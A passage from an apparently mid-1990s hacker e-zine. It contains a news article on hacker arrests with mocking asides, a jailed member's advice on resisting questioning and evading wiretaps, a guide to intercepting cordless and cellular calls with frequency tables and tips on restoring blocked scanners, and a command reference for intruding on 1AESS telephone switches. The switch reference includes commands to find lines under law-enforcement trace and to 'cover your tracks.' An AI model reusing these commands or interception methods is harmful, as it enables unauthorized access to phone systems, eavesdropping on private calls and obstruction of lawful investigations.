passwords, lists of private passwords for several computer systems, instructions for cellular telephone fraud, private credit reports [Plural? Nope], lists of credit-card numbers and electronic manuals on how to make bombs and illegal drugs. [Yes, WE did the oklahoma bombing!@$!] In a 97-page affidavit detailing the 18-month investigation, investigator John Davis of the Arapahoe district attorney's office said that the hackers "operate with an attitude of indifference to the rights and privacy of others and have made efforts to teach and involve others in their criminal enterprise." [What the fuck does the government do everyday?] At the home of a Denver juvenile, authorities found hazardous chemicals and a book on how to make bombs. Nicholas Papadenis, 21, of Broomfield, and John Patrick Jackson, 19, of Thornton, were charged last month with committing computer crimes and conspiracy. Both are scheduled to appear in Arapahoe County Court on July 5. A decision is pending on whether to charge a 15-year-old Highlands Ranch youth and a 17-year-old Denver resident, chief deputy district attorney John Jordan said Friday. The affidavit says Papadenis, Jackson, and the youths hacked into the Arapahoe County Community College computer system, then used it to illegally distribute copyrighted computer games [Sorry, TNo doesn't have a warez division yet] and electronic magazines promoting fraud, theft, burglary and money-laundering. One of the magazines stated, "This publication contains information pertaining to illegal acts. The use of this information is intended solely for evil purposes." [Source: CoTNo 1!@#!@] Court documents do not indicate the hackers had political motives, and authorities declined to comment on the case. [Hackers with political motives would be way above their head.] A Denver University expert said computer criminals usually are not motivated by ideology. They usually are young people who are "doing it for the sheer challenge of it - just to demonstrate that they're able to do it," said Don McCubbery, director for the center on electronic commerce at DU. McCubbery estimates that authorities learn of only 5% of computer crimes. He said computer security experts generally have difficulty keeping up with the hackers. [No shit] ----------------------------------------------- (Side note box) THE NEW ORDER (Bullet listing) Some accusations listed in court documents concerning The New Order group of computer hackers: - A hacker from the United Kingdom offered suspect John Jackson a VISA card number with a $300,000 credit limit. [Tacos anyone?] - A computer seized from a Highlands Ranch home contained password files for computer systems at the University of Colorado at Boulder. - A note found in Jackson's home indicated his plans to hack into the Thornton Police Department computer. [Yes, they believe everything they read] - Jackson also had a computer file containing access information for Taco Bell and McDonald's computers. [There goes national security!] =-= That is all for now. Not a good year by any means as you can tell, especially considering who else may have been busted, that we didn't hear about. Don't stop what you are doing though, just be more careful of your activities. YOU are right, THEY are wrong. <CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo> What Happens When You Get Caught -------------------------------- [A.K.A The Hackers Guide to the Law and Prisons] by D. Fanning - A.K.A. John Falcon/Renegade - TNO Well if you are reading this, that means you are either curious or shit happened and the law reared it's ugly head and they nabbed you. Now what you are about to read is absolutely fucking true. Why is this? Because I am spending the next year or so in prison for hacking. Now needless to say, I have already announced my retirement from the scene, but I still wanted to write and rant and rave about all the things that happen in this world and to clue you in on a quite a few things. Let's start with the ground rules: 1. You cannot make a deal with a cop. So when they start reading Miranda rights, keep silent or just ask inconspicuous questions like "Where are we going?", or the common ne, "What's going on here? Why am I being charged?" Only a D.A. or someone in the lawyer capacity can make a deal. If a cop offers a deal, you are still going to get charged. Cops cannot make any exceptions on anyone. So drop all ideas of such. 2. Do not narc on anyone when the questioning starts. Your best bet would be to just stay silent till the lawyer shows up or something. Why? Questioning wouldn't be done unless there were gaps in their investigation. What you want is as many of those as possible. The more you have, the better it will be when plea bargaining starts up. At the very least though, lets say the they do convict you, the feds and the court find you guilty or you plea that way and you are thrown into the clink. Guess who does your admissions paperwork? You guessed it, the inmates. Word has a way of coming around to dealing or giving a very wide berth to those who do the narc thing Key idea: "If you fall, don't bring others down too. It just adds to the load on you." 3. During questioning, they will put on a lot of plays to make you talk, they will offer you something to drink or something to make you feel more comfortable. Well why not? Spend 60 cents and get your work done for you by a confession. Makes things nice and neat. Don't fall for it. If you are thirsty, accept the drink and don't tell them shit. 4. They will also do some kind of powerplay on you. They try to make you think that they are doing you a favor, but in reality, you are digging a deeper hole for yourself. 5. The idea of you being innocent until proven guilty has gone the way of the do-do bird. When a jury sees you, the first thought that comes to mind is not if you are guilty or not, the question is HOW guilty you are. The way they see it, if you are not guilty, what are you doing in front of them in the first place? The O.J. Simpson trial is a perfect example. Also, look how many cop shows are around the box. That right there is a disgrace in my book. First they have you on film, second they pat each other on the back while you are in misery. Sick. Well on with the show. If they have already done an investigation on you and you don't hear from them in a while, the first natural reaction would be to relax and let your guard down. WRONG ANSWER! That means that some shit is really going to go down. You should be extra careful and not talk about it to anyone. Most likely they are looking for more evidence to make it harder on you in the long run, like a wiretap. In the federal system, all you need is one person's permission to record a phone call. If you have to talk about it, use face to face contact and pat each other down to make sure there is no bug. For instance, when I was arrested I made a fatal mistake and talked about it to one of the co-defendants and he had cut a deal with the D.A. already. My bacon was cooked when I heard my voice on a tape recording. Well no matter what happens, sooner or later you will get nabbed so I won't get into the details of this. All I can suggest is that you really do what ever you can to get a real attorney. P.D.'s are good for some things but they get their paycheck from the same place that nabbed you in the first place so don't let that fool you too much. I will admit that it is better than nothing though. Most likely for the computer hackers out there, they will charge you under 18-USC-1029 which is Fraudulent or Counterfeit use of an Access Device. This charge was mainly intended for credit cards but the D.A.'s have taken it to just about everything that involves computers or communications in general. Now there are some landmark cases that have beat this into the ground. One of them being U.S. vs Brady which was a guy making satellite decoders with the stops pulled out of them. He beat this due to the ruling that the signal was out there everywhere and that he merely just decoded the signal. Therefore there was no actual loss, just potential loss which doesn't count. Another one is U.S. vs McNutt in the 10th Circuit of Utah. This guy made chips for cellular phones that would send different ESN/MIN pairs to the cell site that made it always seem like a new roamer every time he calls. The cell site just goes ahead and gives him the call because it doesn't have time to verify if it is a valid MIN/ESN pair. He won the case due to the same fact that there were no accountable loss because it never used or really billed any legit customer. The flip side of that is being two weeks ago from when this was written, a guy was tried in LA for the exact same thing and was found guilty, appealed the case, won the appeal, then the government re-appealed it and he lost again. This caused a split in the court circuits which means that this will got the Supreme Court. Remember that the government or any government agency will not press any issue unless there is some kind of financial deal behind it because they are wasting time and resources on you when they can be getting Joe Blow Cartel Drug Dealer. So they find you guilty or you plea. The next step is the Pre-Sentence Investigation. They basically take a fine tooth comb and find any dirt about you that they can. You will be amazed about all the things they can do to make you seem like a threat to society, the American way of life, apple pie and all... All you can do is make sure or try your hardest to make it clean as possible. Now I got ripped hard on mine due to very strained relations with one of my parents and they managed to throw everything that anyone had ever said about me together to make it look like I was truly evil. That is where the cops will come back and haunt you because everything you say will be in that report. Every little action and all will be written with a slant of a cop. (Needless to say who writes the report kids... The U.S. Probation Office, a branch of the Secret Service and the F.B.I.) Well you are convicted and here you are. Depending on where you live, you will either be bussed/vanned to the prison where they choose for you or they will fly you there. After you are sentenced you now belong to the Bureau of Prisons (A D.O.J. branch). Basically you will be taken to a county jail for holding while they classify you and then you get transported out. When I was transported out, I was in shackles and all taking a ride on Fed Air. The USM's have a fleet of 737's they confiscated from drug busts and converted them into their own use. You are basically bussed out to a unused or empty part of the airport and with a large ring of USM's with shotguns in their hand, you get put onto an airplane and given a box lunch and off you go. I went from Portland to Sacramento to Phoenix in one day. Spent the night at the FCI in Phoenix then the next morning from there to Lompoc where I am now. Remember these words though... You are now property of the B.O.P. Basically you are luggage, they can transport you at any time whenever they want to. But, depending on where you go, it isn't all that bad. Most likely you will meet friends or acquaintances that will help you along. Just ask a few questions and usually they will know. One thing to never do is be secretive about why you are there. You are there, most likely someone else is there for the same thing and you can get a strong fellowship going with people in the same predicament. One thing to always keep in mind from now to eternity, no matter where you go. The feds are nailing everyone for 'Conspiracy'. It's a damn shame when you go to a place where 90 percent of the inmate population is here on some kind of drug related charge and of that 90%, 35% are here on conspiracy related charges. Truly something to think about. Now for the hackers and phreakers that are facing jail. If your PSI report even breaths any mention of some kind of use with the computer, you will be banned from that. 3 days ago I was given a list of direct orders to avoid all contact of that. Likewise, they put a restriction on the levels of computer related material that I can read. Usually you can get any periodical you want except for things that deal with gay man on man stuff. Just like the gay people feel, that smells of discrimination but that's just the way it is. Phones are something else that you will wish that changes real quick. The phones are run by a B.O.P. thing called ITS-Inmate Telephone Services. Basically it's a Unix run PBX that limits the people you can call and it throws the bill on you. No more collect calls or anything of that nature. Just doesn't happen. But the inmates have won a Class action suit against the B.O.P. about this and the government right now is appealing it. Technically with a suit or even an appeal, you have to implement it as soon as you can after the judgement is made. But it's been a year since they won it and nothing changes. Basically it's the government stalling. Well that's all for me to say this time around. Remember to keep the dream alive and judge for yourself with that piece of gray matter between your ears. You can write any comments to me at: Fanning Reg No. 12617-006 3600 Guard Road Lompoc, CA 93436 or e-mail at ice@alaska.net or jfalcon@ice-bbs.alaska.net (I prefer the first method to save my friends postage costs.) Keep it strong - TNO (The New Order) John Falcon - Ex-TNo 1981-1994 <CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo> --- Legal and Technical Aspects of RF Monitoring --- --- Major [TNo] --- SYNOPSIS -------- The "Cordless Fun" (Noam Chomski, 2600 Magazine Summer 1994) article doubtlessly sparked an interest in cordless phone monitoring. Wireless telephones are a prime target for monitoring. Both cordless and cellular telephones are nothing more than radio transceivers that, at some point, interface with the telephone system. This article will seek to expand on and clarify some points made in "Cordless Fun", and also to point to some other areas of interest. ============================================================================= CORDLESS -------- Legal Stuff: Monitoring cordless phones is now a federal crime! Recent legislation prohibits listening in on cordless phones, much the same as cellular phones. Also, the Communications Act of 1934 makes it a crime to divulge anything you monitor to another person. It is also illegal to use anything that you hear for personal gain. Note that this applies to anything that you monitor, not just cordless phones. Alternatively, there are presently no restrictions on scanners that are capable of receiving cordless phone frequencies. However, I suspect that in the near future the feds will deny certification to such scanners, as they did with scanners that could receive cellular frequencies. Technical Stuff: Cordless telephones transmit and receive with very low power. This is primarily to minimize interference with other nearby cordless telephones. This makes scanning for cordless telephones a short-range endeavor. Most cordless phones of recent manufacture operate in the 46-49MHz range. However, the FCC has recently opened up a part of the 900MHz spectrum for cordless telephone usage. The new 900MHz phones often offer greater range and increased clarity. There are also models sporting "spread-spectrum" technology, which makes monitoring with conventional scanning-receivers a virtual impossibility. Another security measure on some cordless phones involves encoding the DTMF tones sent from the handset to the base. This prevents the base from accepting tones from other, unauthorized, handsets. It does not hinder monitoring the calls, but the DTMF tones will not be recognizable. In the 46-49MHz phones, there are ten frequency pairs available. Many older phones only utilize one pair. Newer, more expensive, phones can utilize all ten pairs. Some automatically search for an open channel, while others can be manually manipulated to find a channel with less noise. Likewise, the new 900MHz phones will scan to find a clear channel. CELLULAR -------- Legal Stuff: Intercepting cellular mobile telephone (CMT) traffic is illegal. The Electronic Communications Privacy Act of 1986 made it so. Scanners that receive the CMT portion of the 800MHz range may no longer be manufactured, sold, or imported into the U.S. Many scanners were designed to scan this area, though. When the Cellular Telephone Industry Association began complaining about this fact, most scanner manufacturers/resalers voluntarily "blocked" the cellular freqs from their scanners. This pacified the CTIA for a while, but the "blocks" were easily hackable. Typically, restoring a "blocked" scanner involved removing a single diode, a ten minute job for even the most devout technophobe. This fact led to the passage of the Telephone Disclosure and Dispute Resolution Act (TDDRA), which denies F.C.C. certification of scanners that receive cellular freqs, or those which may be easily modified to do so. New scanners will be "blocked" at the CPU, and hacking them is unlikely. Frequency converters offered another means of monitoring cellular and other 800MHz traffic. Essentially, a converter receives an 800MHz signal, and converts it to a 400MHz signal that the scanner is capable of receiving. Converters are useful for scanners that have no 800MHz reception capabilities, as well as those that have portions of the 800MHz band blocked. Unfortunately, converters were also outlawed by the TDDRA. They are still legal in kit-form, however. Another option would be to build one from scratch, which isn't an especially difficult project. Technical Stuff: The word "cellular" defines the cellular phone system. A service area is broken up into many small cells. As a user travels through an area, his call will be handed off from one cell to the next. This handoff is transparent to the user, but a monitor will lose the conversation. Cellular phones use low power (a maximum of five watts) so that a cell phone will not attempt to seize more than one site at a time. When a call is initiated by a cell phone, the nearest site will respond, and assign an available frequency to the phone. When the user moves comes into range of the next site, the process repeats itself, and the new site will assign a new frequency. Therefore, it can be difficult to track a particular conversation as it moves from site to site with a single scanner. Every area served by cellular phones will have two service providers. One will be the local RBOC, while the other will be a cellular-only provider. The two systems are designated as "A" and "B" systems, or "Wireline" and "Non-Wireline". There is no difference between the two for monitoring purposes, but since "A" and "B" carriers use different frequencies, it should be possible to identify local cell-towers as being "A" or "B" sites. PHONE PATCH ----------- Legal Stuff: The Communications Act of 1934 applies here as well, but there are no other prohibitions on monitoring business-band phone patches. Technical Stuff: Many business radio systems have the ability to tie into the phone system. Most of these systems will be found in 800MHz trunked radio systems. In a conventional radio system, one frequency will equal one channel. In a trunked system, however, frequencies and channels are independent of each other. The trunking computer will assign a different frequency to a radio each time it transmits, and it will send a signal to other radios on the same channel, telling them the current frequency in use. Phone patches are easy to monitor, though. Since the radio on a phone patch is transmitting constantly, the frequency used will remain the same for the duration of the conversation. Many people mistakenly believe these calls to be cellular, but they are not. Most phone patches found in 800MHz trunked systems will be full-duplex, just like cellular and home phones. Some systems, especially in UHF (around 450MHz) and 800MHz conventional radio systems will only be half-duplex, though. In those systems, only one person call talk at a time, just like normal two-way radios. Radio systems are typically designed to offer service to an entire metropolitan area, so range is quite good. The mobile radio will transmit its signal to a strategically located "repeater", which then re-broadcasts the signal with much more power. So long as a scanner is within reception range of the repeater output, monitoring will be possible regardless of the location of the party transmitting. EQUIPMENT ---------- Legal Stuff: Some states prohibit mobile use of scanners. Also, it is illegal to use a scanner in the commission of a crime. Technical Stuff: There is a scanner for every appetite. What sort of monitoring one wants to do will dictate which scanner one buys. For someone interested only in cordless phones, a ten-channel scanner with no 800MHz coverage will be quite adequate, and much cheaper than a more capable scanner. For someone interested in cellular, a full- coverage 800MHz scanner with a much greater frequency storage capacity will be necessary. Base, mobile or handheld? Depends entirely on how it will be used. Modern scanners are programmable, while older units require crystals. For someone wanting to monitor only a few channels (such as cordless phones, or the local police), a crystal-controlled scanner would be adequate, and much cheaper. But for more serious and varied scanning, programmable units are a necessity. Models are available that store between 10 and 1000 channels. Uniden/Bearcat and Realistic are the two most commonly available brands in the U.S. (although Realistic isn't actually a brand, just a label...Radio Shack scanners are all manufactured by Uniden or GRE, depending on the model). Because of the TDDRA, many of the best scanners from the past several years are no longer available, but watch for Hamfests (great electronic flea- markets...inquire at your local ham radio/electronics store), garage sales, etc. There is nothing in the TDDRA or other current legislation that prevents private parties from owning or selling pre-TDDRA equipment. Aside from the scanner itself, the next-most important piece of equipment is the antenna. Handheld scanners will generally utilize an "all-band" rubber-duck antenna (a flexible, rubberized antenna, between 8-14" in length), while base units will have a telescoping metal whip antenna. These antennas are adequate for receiving strong, local signals, but more discriminating monitors will demand more. For base units, an all band discone type antenna, mounted outside as high as practical, will offer good, omnidirectional performance. For those who only want to monitor a particular band, it would be best to use an antenna cut specifically for that band. Likewise, for those monitoring signals coming from one general direction, a directional antenna will offer better performance than an omnidirectional unit. For mobile use, using an antenna mounted on the vehicle will greatly improve reception. MISCELLANEOUS COMMUNICATIONS ---------------------------- Voice-pagers can offer interesting monitoring. While the data- transmissions that send the signal to the proper pager are proprietary digital signals (and as such, illegal to monitor or decipher), the actual "voice messages" are transmitted "in the clear". Packet-radio is used by ham radio operators. They have a vast network of computer bbs's that operate independently of the phone system. Modulated data is sent over the airwaves with a ham transceiver, where it is received and de-modulated with a Terminal Node Controller (TNC). Expect the use of wireless data transmissions to increase over the next few years, and not just among ham operators. While not having anything to do with telephones, the "baby monitors" people use are transmitters just like cordless phones. They are also low-power devices, so range is limited. Most people who use these devices would be shocked to learn that they are "bugging" their own home. PRESENT AND FUTURE CHALLENGES ----------------------------- Spread spectrum, digital transmissions, encryption...these are all factors that are affecting monitoring today. While most cellular systems are presently analog systems, there are operational digital systems in some areas. Scanners that are currently available won't be able to decipher the digital communications, and it is unlikely that digital-capable scanners will be produced. That means it will be up to the hackers to provide the technology to intercept these communications. Spread spectrum is quite hackable, as it was never intended as an encryption system, per se, yet the phone manufacturers are certainly marketing it as such. And one oft overlooked advantage of the Clipper chip is the fact that the backdoor can be exploited by hackers as well as the government. In the meanwhile, there are plenty of intercepts to be had, and there will continue to be. ================================================================= For More Information: ================================================================= Scanner Modification Handbook (Vols. I & II), by Bill Cheek The scanner modification handbooks offer a plethora of information on hacking scanners. Hacks include: increased channel capacity (example: RS PRO-2006 from 400 channels to 6,400!), adding signal- strength meters, cellular-freq. restoration, scanning-speed increases, and much more. World Scanner Report, by Bill Cheek A monthly newsletter on the latest scanner hacks. Available from: COMMtronics Engineering Box 262478 San Diego, CA 82196-2478 BBS: (619) 578-9247 (5:30PM to 1:30PM P.S.T. ONLY!) COMMtronics Engineering also offers a scanner-computer interface for RS PRO-43/2004/2005/2006 model scanners. =================================================================== CRB Research Books Box 56 Commack, MY 11725 CRB has books on scanner modifications, frequency guides, and other interesting subjects. ================================================================= POPULAR COMMUNICATIONS CQ Publications 76 N. Broadway Hicksville, NY 11801 (516) 681-2926 Pop Comm is a monthly magazine on all sorts of radio monitoring, including scanning, shortwave, and broadcast. ================================================================== MONITORING TIMES Grove Enterprises, Inc. P.O. Box 98, 300 S. Highway 64 West Brasstown, North Carolina 28902-0098 M.T. is a monthly magazine covering all varieties of radio communications. ================================================================== NUTS & VOLTS Nuts & Volts is a monthly magazine that covers a wide variety of electronic-related subjects. T&L Publications, Inc. 430 Princeland Court Corona, CA 91719 (909) 371-8497 (909) 371-3052 fax CI$ 74262,3664 1-800-783-4624 SUBSCRIPTION ORDERS ONLY =================================================================== USENET: alt.radio.scanner rec.radio.scanner =================================================================== Charts & Tables: 1. Cordless Telephone Frequencies (VHF) 2. Cordless Telephone Frequencies (900MHz) 3. Cellular Telephone Frequencies 4. Business Band Frequencies (VHF, UHF, 800MHz) 5. IMTS Frequencies 6. PAGER Frequencies 7. PACKET Frequencies 8. ROOM MONITOR Frequencies 9. homebrew cordless dipole antenna 10. homebrew 1/4 wave groundplane antenna ================================================================= TABLE 1 - CORDLESS TELEPHONE FREQS. (CONVENTIONAL) CH BASE HANDSET -- ---- ------- 1 46.100 49.670 2 46.630 49.845 3 46.670 49.860 4 46.710 49.770 5 46.730 49.875 6 46.770 49.830 7 46.830 49.890 8 46.870 49.930 9 46.930 49.990 10 46.970 46.970 ================================================================= TABLE 2 - 900MHz CORDLESS FREQS. Cordless phones have been allocated the frequencies between 902-228MHz, with channel spacing between 30-100KHz. Following are some examples of the frequencies used by phones currently on the market. ---------------------------------------------------------------- Panasonic KX-T9000 (60 Channels) base 902.100 - 903.870 Base frequencies (30Khz spacing) handset 926.100 - 927.870 Handset frequencies CH BASE HANDSET CH BASE HANDSET CH BASE HANDSET -- ------- ------- -- ------- ------- -- ------- ------- 01 902.100 926.100 11 902.400 926.400 21 902.700 926.700 02 902.130 926.130 12 902.430 926.430 22 902.730 926.730 03 902.160 926.160 13 902.460 926.460 23 902.760 926.760 04 902.190 926.190 14 902.490 926.490 24 902.790 926.790 05 902.220 926.220 15 902.520 926.520 25 902.820 926.820 06 902.250 926.250 16 902.550 926.550 26 902.850 926.850 07 902.280 926.280 17 902.580 926.580 27 902.880 926.880 08 902.310 926.310 18 902.610 926.610 28 902.910 926.910 09 902.340 926.340 19 902.640 926.640 29 902.940 926.940 10 902.370 926.370 20 902.670 926.670 30 902.970 926.970 31 903.000 927.000 41 903.300 927.300 51 903.600 927.600 32 903.030 927.030 42 903.330 927.330 52 903.630 927.630 33 903.060 927.060 43 903.360 927.360 53 903.660 927.660 34 903.090 927.090 44 903.390 927.390 54 903.690 927.690 35 903.120 927.120 45 903.420 927.420 55 903.720 927.720 36 903.150 927.150 46 903.450 927.450 56 903.750 927.750 37 903.180 927.180 47 903.480 927.480 57 903.780 927.780 38 903.210 927.210 48 903.510 927.510 58 903.810 927.810 39 903.240 927.240 49 903.540 927.540 59 903.840 927.840 40 903.270 927.270 50 903.570 927.570 60 903.870 927.870 ------------------------------------------------------------ V-TECH TROPEZ DX900 (20 CHANNELS) 905.6 - 907.5 TRANSPONDER (BASE) FREQUENCIES (100 KHZ SPACING) 925.5 - 927.4 HANDSET FREQUENCIES CH BASE HANDSET CH BASE HANDSET CH BASE HANDSET -- ------- ------- -- ------- ------- -- ------- ------- 01 905.600 925.500 08 906.300 926.200 15 907.000 926.900 02 905.700 925.600 09 906.400 926.300 16 907.100 927.000 03 905.800 925.700 10 906.500 926.400 17 907.200 927.100 04 905.900 925.800 11 906.600 926.500 18 907.300 927.200 05 906.000 925.900 12 906.700 926.600 19 907.400 927.300 06 906.100 926.000 13 906.800 926.700 20 907.500 927.400 07 906.200 926.100 14 906.900 926.800 ------------------------------------------------------------ OTHER 900 MHZ CORDLESS PHONES AT&T #9120 - - - - - 902.0 - 905.0 & 925.0 - 928.0 MHZ OTRON CORP. #CP-1000 902.1 - 903.9 & 926.1 - 927.9 MHZ SAMSUNG #SP-R912- - - 903.0 & 927.0 MHZ ------------------------------------------------------------ ================================================================== TABLE 3 - CELLULAR TELEPHONE FREQUENCIES wireline ("b" side carrier) 824.1000-834.9000 869.0100-879.9900 non-wireline ("a" side carrier) 835.0200-849.0000 880.0200-894.0000 ================================================================== TABLE 4 - BUSINESS BAND RADIO FREQS. 151.5050-151.9550MHz 154.4900-154.5400 460.6500-462.1750 462.7500-465.0000 471.8125-471.3375 474.8125-475.3375 896.0125-900.9875 935.0125-939.9875 806.0125-810.9875 811.0125-815.9875 816.0125-820.9875 851.0125-855.9875 856.0125-860.9875 861.0125-865.9875 ================================================================= TABLE 5 - MOBILE TELEPHONE FREQS. (see note1 below) SIMPLEX OUTPUT INPUT OUTPUT INPUT -------- -------- -------- -------- -------- 035.2600 152.0300 158.4900 454.3750 459.3750 035.3000 152.0600 158.5200 454.4000 459.4000 035.3400 152.0900 158.5500 454.4250 459.4250 035.3800 152.1200 158.5800 454.4500 459.4500 035.5000 152.1500 158.6100 454.4750 459.4750 035.5400 152.1800 158.6400 454.5000 459.5000 035.6200 152.2100 158.6700 454.5250 459.5250 035.6600* 454.0250 459.0250 454.5500 459.5500 043.2200* 454.0500 459.0500 454.5750 459.5750 043.2600 454.0750 459.0750 454.6000 459.6000 043.3400 454.1000 459.1000 454.6250 459.6250 043.3800 454.1250 459.1250 454.6500 459.6500 043.4200 454.1500 459.1500 043.3000 454.1750 459.1750 043.5000 454.2000 459.2000 043.5400 454.2250 459.2250 043.5800* 454.2500 459.2500 043.6400* 454.2750 459.2750 152.2400* 454.3000 459.3000 152.8400* 454.3250 459.3250 158.1000* 454.3500 459.3500 158.7000* *-also allocated for pager usage (note1: These freqs are, for the most part, dead. The FCC has reallocated most of these for other services.) ================================================================= TABLE 6 - PAGER FREQUENCIES 035.2200 035.5800 152.4800 154.6250 158.4600 157.7400 465.0000 462.8000 462.7750 462.9250 462.7500 462.8750 462.8250 462.9000 462.8500 928.0000 929.0000 930.0000 931.0000 ================================================================= TABLE 7 - PACKET FREQUENCIES 050.6200 223.5200-223.6400 223.7100-223.8500 2303.500-2303.800 2303.900 2399.000-2399.500 ================================================================= TABLE 8 - BABY MONITOR FREQUENCIES 49.300 49.830 49.845 49.890 ================================================================= TABLE 9 - AIR PHONE FREQUENCIES OUTPUT INPUT 454.6750 459.6750 454.9750 459.9750 849.0000 851.0000 894.0000 896.0000 ================================================================== CHART 10 - IMPROVED ANTENNA FOR CORDLESS MONITORING The best way to improve the range for monitoring cordless telephones is to use an antenna specifically cut for the frequencies used in cordless phones. The following is a very effective, yet easy to build, "homebrew" antenna. CORDLESS DIPOLE --------------- materials needed: wire - virtually any type will suffice matching transformer (RS part number 15-1296) f connector (RS part number 278-225) ??? connector (this will connect the antenna to the scanner, so it will be dependant upon what type of antenna jack the scanner utilizes. Most use a BNC-type connector. Some older models will use a Motorola-type connector.) coax cable - while many types of coax can be used, a low-loss cable would be best, especially if a long cable run is required. RG-6 satellite coax (RS part number 278-1316) is a good choice. wire transformer wire -------------------------< >------------------------- + f connector | | coax | | * connector [ ] scanner ================================================================= CHART 11 - 1/4 WAVE GROUND PLANE ANTENNA Here is a simple-to-build antenna that will improve reception for a particular frequency area. materials needed: wire - a rigid wire is needed here. Clothes hangers work well. panel mount SO-239 connector (RS part number 278-201) male PL-259 connector (RS part number 278-205) coax cable connector (to scanner) | | | | [ ] / \ / \ / \ The length of the five rods will be dependant upon the frequency you intend to monitor. Use the following formula: WL=3X10^8/F WL = wavelegnth (in meters) F = frequency (in MHz) <CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo> -=- -= The Tao of 1AESS =- -=-=-=-=-=-=-=-= -= DeadKat&Disorder =- -=- -= Special thanks to Gatsby and Mark Tabas =- Introduction -=-=-=-=-=-= The Bell System's first trial of electronic switching took place in Morris, Illinois, in 1960. The Morris trial culminated a 6-year development and proved the viability of the stored-program control concept. The first application of electronic local switching in the Bell System occurred in May 1965 with the cutover of the first 1ESS switch in Succasunna, New Jersey. The 1ESS switching system was designed for use in areas where large numbers of lines and lines with heavy traffic (primarily business customers) are served. The system has generally been used in areas serving between 10,000 and 65,000 lines and has been the primary replacement system for urban step-by-step and panel systems. The ease and flexibility of adding new services made 1ESS switching equipment a natural replacement vehicle in city applications where the demand for new, sophisticated business and residence services is high. In 1976, the first electronic toll switching system to operate a digital time-division switching network under stored-program control, the 4ESS system, was placed in service. It used a new control, the 1A processor, for the first time to gain a call carrying capacity in excess of 550,000 busy-hour calls. The 1A processor was also designed for local switching application. It doubled the call-carrying capacity of the 1ESS switching system and was introduced in 1976 in the first 1AESS switch. The network capacity of 1ESS switching equipment was also doubled to allow the 1AESS switch to serve 130,000 lines. In addition to local telephone service, the 1AESS switches offer a variety of special services. Custom Local Area Switching Services (CLASS) are available as well Custom Calling Services. Business customers may select offerings such as centrex, ESS-ACS, Enhanced Private Switched Communications Service, or electronic tandem switching. Although more modern switches like 5ESS and DMS 200 have been developed, it is estimated that some 50 percent of all switches are still 1AESS. Commands -=-=-=-= The 1AESS uses a command line interface for all commands. The commands are divided into three fields: action, identification, and data. The fields are always separted by a colon. Every command is terminated by either a period for verification commands or a 'ballbat' (!) for change commands. The control-d is used to execute the command instead of a return. The underscore is used as a backspace. Commands are always typed in 'all caps'. The action field is the first field of the command and is ended by a colon. The identification field is ended by the second colon. The identification field has one or two subfields which are separated by a semicolon. Semicolons are not used elsewhere in the command. The data field consists of keyword units and is the remaining portion of the command. Basic Machine Commands -=-=-=-=-=-=-=-=-=-=-= These commands provide useful information from the system. The WHO-RV- command will tell you what CO it is and what version of the OS is installed. If your output is scrolling off the screen press space to end scrolling. The V-STOP- command will clear the buffer. WHO-RV-. System information. SPACE Stops output from scrolling. V-STOP-. Free buffer of remaining LENS/INFO. Channel Commands -=-=-=-=-=-=-=-= Channel commands are used to redirect input and output. If a switch won't respond to a command use the OP:CHAN command to check on current channel. If your channel is not responding, use the MON:CHAN command to switch output and control to your terminal (the remote). You can check the status of the RC with the RCCENSUS command. OP:CHAN:MON! Shows all channels which are being monitored. MON:CHAN SC1;CHAN LOC! Redirect output to remote screen. STOP: MON;CHAN SC1;CHAN LOC! Redirect output to local screen. (This command needs to be done after you are finished to help cover your tracks) OP:RCCENSUS! To see recent change status. Tracing Commands -=-=-=-=-=-=-=-= CI-LIST- will give you a list of all numbers which are being traced externally. It will not show you lines which are being traced internally, ie: numbers inside one of the prefixes controlled by the switch you are on. CI-LIST-. Traced line list. Check Features on Line -=-=-=-=-=-=-=-=-=-=-= The VF command is used to check the current settings on a line. The DN XXXXXXX specifies the phone number of the line you wish to check. Replace XXXXXXX with the seven digit phone number of the line you are checking. VF:DNSVY:FEATRS,DN XXXXXXX,1,PIC! Check features of a line. VF:DNSVY:DN XXXXXXX,1,LASFTRS! Display last Features Call Features CWT- Call Waiting CFB- Call Forward Busy - Busy=VM CFV- Call Forwarding Variable CFD- Call Forward Don't answer TWC- Three Way Calling TTC- Touch Tone RCY- Ring Cycle SC1- Speed Calling 1 SC2- Speed Calling 2 UNA- No Long Distance PXX- Block all LD service (guess) MWI- Message Waiting Indicator CHD- centrex(unremarkable) CPU- centrex(unremarkable) CLI- Calling Line Identification (CID) ACB- Automatic Call Back Feature (?) BLN- Special Toll Billing FRE- Free Calling The standard output of a command appears below. The 'DN 348 2141' specifies the number you are checking. The calling features will be listed on the second line by their three letter acronyms. This line has call waiting (CWT), a trace (TRC), and touch tone dialing (TTC). Example of 1A output: M 53 TR75 2 DN 348 2141 00000003 CWT TRC TTC Searching For Free Lines -=-=-=-=-=-=-=-=-=-=-=-= The VFY command can be used to check if a line is in use. The output will list the LEN (Line Equipment Number) for the line and its call features in octal. If the LEN is all zeros, then that number has not been assigned. Replace XXXXXXX with the number you wish to check. You must prefix the phone number with 30. You can also check for unused LEN's using the VFY command. Use the space bar to stop scrolling and the V-STOP command to cancel when looking up free LEN's. VFY-DN-30XXXXXXX. Search for free lines. VFY-LEN-4100000000. List all free LENs. VFY-TNN-XXXXXXXX. To get information on trunk. The output for the VFY-DN command will appear like the one below. Notice that this number has been assigned a LEN so it is in use. M 06 TR01 796 9146 0 0 0 0 LEN 01 025 000 001 000 000 000 000 000 4 000 000 000 000 000 000 000 000 0 0 0 0 0 0 0 0 0 Searching for a Particular Feature on a Line (like trace) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= All line information is stored in the switch for its coverage area. The switch is like a huge database in this sense. You can do global searches on the switch for any feature. One especially interesting feature to search for are traced numbers. Traced numbers listed this way are INTERNALLY traced as opposed to globally traced numbers shown with the CI-LIST- command. Global and internal trace lists are always very different. And remember, be a good samaritan and call the person being traced and let them know! ;-) VF:DNSVY:FEATRS,EXMATCH TRACE! Pull all numbers IN switch area with trace on it (takes a sec). You can exmatch for any LASS feature by replacing the keyword TRACE with any call feature like call forwarding (CFB) and speed calling (SC1). To See What Numbers Are on a Speed Calling List 